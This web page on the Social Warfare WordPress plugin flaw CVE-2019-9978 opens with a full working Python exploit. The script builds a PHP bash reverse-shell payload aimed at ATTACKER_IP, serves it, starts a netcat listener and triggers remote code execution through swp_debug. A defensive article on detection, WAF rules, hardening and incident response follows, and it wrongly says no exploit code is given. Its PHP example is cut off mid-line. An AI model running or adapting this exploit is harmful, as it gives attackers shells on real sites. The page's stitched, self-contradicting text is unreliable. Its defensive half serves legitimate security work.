Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
#!/usr/bin/env python3
# Exploit Title: Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
# Date: 25-06-2025
# Exploit Author: Huseyin Mardini (@housma)
# Original Researcher: Luka Sikic
# Original Exploit Author: hash3liZer
# Vendor Homepage: https://wordpress.org/plugins/social-warfare/
# Software Link: https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip
# Version: <= 3.5.2
# CVE: CVE-2019-9978
# Tested On: WordPress 5.1.1 with Social Warfare 3.5.2 (on Ubuntu 20.04)
# Python Version: Python 3.x
# Reference: https://www.exploit-db.com/exploits/46794
# Github (original PoC): https://github.com/hash3liZer/CVE-2019-9978
# The currently listed exploit for *CVE-2019-9978* (Exploit ID 46794<https://www.exploit-db.com/exploits/46794>) appears to no longer work as intended in many modern environments
# Usage:
# 1. Edit the config section below and replace `ATTACKER_IP` with your machine's IP.
# 2. Run the script: `python3 exploit.py`
# 3. It will:
# - Create a PHP payload and save it as `payload.txt` (or any filename you set in PAYLOAD_FILE)
# - Start an HTTP server on `HTTP_PORT` to host the payload
# - Start a Netcat listener on `LISTEN_PORT`
# - Trigger the vulnerability via the vulnerable `swp_debug` parameter
# 4. On success, you get a reverse shell as `www-data`.
#
# Note:
# - PAYLOAD_FILE defines only the name of the file to be created and served.
# - Make sure ports 8001 and 4444 are open and not in use.
import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time
# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "xxx.xxx.xx.xx" # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4444
PAYLOAD_FILE = "payload.txt"
def create_payload():
"""Write exact reverse shell payload using valid PHP syntax"""
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
with open(PAYLOAD_FILE, "w") as f:
f.write(payload)
print(f"[+] Payload written to {PAYLOAD_FILE}")
def start_http_server():
"""Serve payload over HTTP"""
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
print(f"[+] HTTP server running at port {HTTP_PORT}")
httpd.serve_forever()
def start_listener():
"""Start Netcat listener"""
print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
def send_exploit():
"""Trigger the exploit with vulnerable parameter"""
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
print(f"[+] Sending exploit: {exploit}")
try:
requests.get(exploit, timeout=5)
except requests.exceptions.RequestException:
pass
def main():
create_payload()
# Start web server in background
http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()
time.sleep(2) # Give server time to start
# Start listener in background
listener_thread = threading.Thread(target=start_listener)
listener_thread.start()
time.sleep(1)
# Send the malicious request
send_exploit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] Interrupted by user.") Social Warfare WordPress Plugin 3.5.2 — Remote Code Execution (CVE-2019-9978): Analysis, Detection, and Mitigation
The Social Warfare plugin for WordPress (versions up to and including 3.5.2) has a well-known vulnerability tracked as CVE-2019-9978 that can lead to remote code execution (RCE) when certain unsafe debug functionality is exposed. This article explains what went wrong, how defenders can detect exploitation attempts, and the safe remediation steps you should take. The focus is defensive: no exploit code or step-by-step offensive instructions are provided.
Summary
- Vulnerability: Improper handling of a debug parameter that allowed remote content to be executed or included on the site, leading to RCE in some environments.
- Affected versions: Social Warfare <= 3.5.2 (note: always verify with vendor advisories and changelogs).
- CVE: CVE-2019-9978.
- Risk: High — an attacker can execute arbitrary code under the webserver user if the site is configured in a permissive way.
- Primary mitigations: Upgrade, deactivate/delete the plugin if upgrade is not possible, apply web application firewall rules, and audit logs for indicators of compromise.
Root cause (high-level)
The core issue stems from the plugin exposing debug functionality that accepted and processed external URLs/parameters without sufficient validation or output sanitization. In some flows, the plugin fetched remote content and incorporated it into the application in an unsafe way, which could be abused to make the application evaluate or include attacker-supplied content. This is a generic class of vulnerabilities often arising from the combination of unsanitized inputs, remote resource inclusion, and use of PHP functions that execute or evaluate content.
Why this matters
- RCE gives attackers full control within the privilege scope of the webserver process (commonly www-data), allowing data theft, site defacement, pivoting, and persistence.
- Compromised WordPress sites are frequently used as part of larger campaigns (malware hosting, SEO spam, backdoors).
- Automated scanners and botnets actively probe for known vulnerable plugins — quick detection and remediation are essential.
Detection: what to look for
Detection focuses on identifying suspicious requests and post-exploitation artifacts. Look for anomalous web requests targeting admin endpoints with unusual parameters, unexpected outbound connections from the web server, and newly created files or webshell-like content in writable directories.
- Look for webserver access log entries targeting admin-post.php (or other admin endpoints) with swp_debug or similar parameters. Example log pattern to search for:
# Example grep for access logs (defensive pattern matching)
grep -E "admin-post.php.*swp_debug" /var/log/nginx/access.log /var/log/apache2/access.log
Explanation: This grep searches access logs for requests containing admin-post.php and the swp_debug parameter. It is a defensive detection step that helps locate potential exploitation attempts; it does not include exploit payloads.
- Watch for outbound HTTP(S) connections initiated by the webserver to unusual external addresses (indicative of attempts to fetch remote payloads).
- Scan the filesystem for newly created PHP or text files in web-accessible directories shortly after suspicious web requests.
- Check WordPress user accounts and unexpected admin-level changes.
Safe discovery and inventory
Before remediation, inventory your WordPress environment to identify sites running the vulnerable plugin. Use WordPress tooling where possible so you do not accidentally trigger vulnerable code paths.
# Check installed plugins with WP-CLI (defensive)
wp plugin list --format=csv | grep -i "social-warfare"
Explanation: This WP-CLI command lists plugins and filters for Social Warfare. It helps administrators identify affected installs without visiting the site in a browser (which could trigger active payloads).
Mitigation and remediation
Your primary goals are to remove the vulnerable code path, patch or remove the plugin, remediate any compromise, and harden the environment to reduce future risk. Follow this prioritized checklist:
- Immediate action: If you cannot immediately upgrade, deactivate and delete the plugin from the WordPress admin or via WP-CLI. Deleting is preferred when exploit risk is high.
- Upgrade: Apply the vendor-provided patch or upgrade to a fixed plugin release as soon as it is available and tested.
- Audit and remediate compromises: If you detect possible exploitation, perform a thorough incident response: snapshot the host, collect logs, scan for webshells/backdoors, rotate credentials, inspect database changes, and restore from a known-good backup if necessary.
- Network controls: Restrict outbound HTTP/HTTPS from web servers to only trusted destinations where practical, and use proxying with logging for necessary outbound fetches.
- WAF rules: Deploy Web Application Firewall (WAF) rules to block suspicious admin-post.php requests with debug parameters pointing to remote URLs.
Example: Non-actionable, defensive WAF rule concept
# Conceptual WAF rule (pseudo-configuration):
# Block requests to admin-post.php where the swp_debug parameter is present
# and swp_url points to an external domain.
# This is a conceptual example; adapt syntax to your WAF product.
if request.uri.path == "/wp-admin/admin-post.php" and
request.args contains "swp_debug" and
request.args contains "swp_url=" and
not request.args["swp_url"].matches("^https?://(your-trusted-domain\\.com|localhost)")
then
block()
end
Explanation: This conceptual rule blocks requests to admin-post.php that include the swp_debug and swp_url parameters unless the URL is to a trusted domain. It should be adapted and tested for your WAF solution (ModSecurity, cloud WAF, etc.).
Code-level hardening (safe example)
If you are a plugin or theme developer and need to safely fetch remote content, follow secure practices: validate inputs, restrict allowed hosts, avoid eval/include of arbitrary content, and always sanitize output. Below is a secure pattern for fetching remote content in WordPress that demonstrates validation and sanitization — it is defensive, not exploitable.
5));
if ( is_wp_error($response) ) {
return;
}
$body = wp_remote_retrieve_body($response);
$clean = wp_kses_post( $body ); // allow only safe HTML
echo esc_html( $clean ); // escape before outputting to avoid execution
?>
Explanation: This PHP snippet demonstrates defensive controls: whitelisting hosts, using esc_url_raw() for URL normalization, checking errors from wp_remote_get(), sanitizing the HTML with wp_kses_post(), and using esc_html() when outputting. Crucially, it avoids any use of eval(), include() of remote data, or other risky behaviors that may lead to RCE.
Post-remediation checks
- Ensure the plugin is updated/deleted and the site is functioning normally.
- Rotate WordPress administrator passwords and any API keys that may have been exposed.
- Scan for artifacts: unexpected PHP files, base64 blobs in files, unusual cron jobs, and DB changes.
- Review logs for outbound connections that occurred around suspected exploitation time windows.
- Re-enable only necessary features and adopt the principle of least privilege for file and directory permissions.
Prevention and long-term hardening
- Keep plugins, themes, and core WordPress up to date; subscribe to advisories for critical plugins.
- Use least-privilege file permissions for the webroot (avoid 777), and ensure PHP processes cannot write to plugin code directories.
- Restrict admin access via IP or VPN for sensitive endpoints where practical.
- Deploy a WAF and centralize logs for proactive detection and response.
- Use intrusion detection tools and periodic filesystem integrity checks.
Incident response quick checklist
| Step | Action |
|---|---|
| Identification | Search logs for suspicious swp_debug/admin-post.php requests and check for unexpected outbound connections. |
| Containment | Deactivate or delete the vulnerable plugin and block suspicious IPs/WAF rules. |
| Eradication | Remove webshells/backdoors, clean compromised accounts, restore from clean backups if needed. |
| Recovery | Patch plugin, rotate credentials, re-enable site features once clean. |
| Lessons learned | Document root cause, update processes (patching cadence, monitoring), and improve defensive controls. |
References and further reading
- CVE-2019-9978 — public advisory and vendor notes (search vendor security advisories for details).
- WordPress hardening guides and WP-CLI documentation for safe administration.
- OWASP guidance on input validation, output encoding, and remote resource handling.
Note: This article is intended for defensive purposes. If you suspect an active compromise, follow your organization's incident response procedures and engage qualified incident responders. Never run or deploy exploit code in production environments.